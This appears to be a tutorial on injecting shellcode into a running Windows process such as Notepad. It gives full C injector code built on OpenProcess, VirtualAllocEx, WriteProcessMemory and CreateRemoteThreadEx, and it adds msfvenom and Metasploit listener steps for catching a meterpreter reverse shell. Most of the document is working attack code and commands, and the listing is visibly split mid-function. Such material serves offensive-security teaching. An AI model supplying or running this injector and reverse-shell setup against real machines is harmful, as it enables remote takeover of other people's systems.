

# Shellcode Injection in Windows Processes

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## Overview

This document demonstrates a shellcode injection technique in Windows using C and WinAPI. The goal is to execute arbitrary shellcode inside a remote process (e.g., Notepad), thereby gaining control of that process for post-exploitation.

## Steps Overview

1. Generate a reverse shell payload using `msfvenom`
2. Paste the shellcode into the provided C injector
3. Compile the program using MinGW
4. Spawn a process (e.g., Notepad), find its PID
5. Inject the shellcode
6. Set up a listener in Metasploit and catch the reverse shell

## Shellcode Injector Code

Listing 1: Shellcode Injector in C

```
#include <windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

// Replace this with your generated shellcode from msfvenom
unsigned char shellcode[] =
"\xfc\x48\x83..."; // Truncated for brevity

int main(int argc, char* argv[]){
    if(argc < 2){
        printf("%s Usage: program.exe <PID>\n", e);
    }
}
```

```

        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    printf("%s Trying to open a handle to process (%ld)\n", i, PID);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if(hProcess == NULL){
        printf("%s Couldn't get a handle to the process (%ld), error: %ld\n", e
            , PID, GetLastError());
        return EXIT_FAILURE;
    }
    printf("%s Got a handle to the process!\n\\---0x%p\n", k, hProcess);

    rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT |
        MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    printf("%s Allocated %zu bytes of memory of process (%ld) with rwx
        permissions\n", k, sizeof(shellcode), PID);

    WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
    printf("%s Wrote %zu bytes to process (%ld) memory\n", k, sizeof(shellcode)
        , PID);

    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)
        rBuffer, NULL, 0, 0, &TID);
    if(hThread == NULL){
        printf("%s Couldn't create remote thread, error: %ld\n", e,
            GetLastError());
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }

    printf("%s Got a handle to the thread(%ld)\n\\---0x%p\n", k, TID, hThread);
    printf("%s Waiting for thread to finish executing\n", k);
    WaitForSingleObject(hThread, INFINITE);
    printf("%s Thread finished executing\n", k);

    printf("%s Cleaning up\n", i);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return EXIT_SUCCESS;
}

```

## Metasploit Listener

```

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_IP>
set LPORT 4444
run

```

## Execution Flow

1. Start Notepad: `Start-Process notepad`
2. Get PID: `tasklist | findstr notepad`
3. Run the injector: `injector.exe <PID>`
4. Catch reverse shell in Metasploit

## Conclusion

This report demonstrated how to inject shellcode into a remote process using Windows API. This forms the foundation for more advanced techniques such as manual mapping, reflective DLL injection, and evasion against modern EDR solutions.

## Disclaimer

This document is for educational and ethical research purposes only. Do not use these techniques against systems without explicit authorization.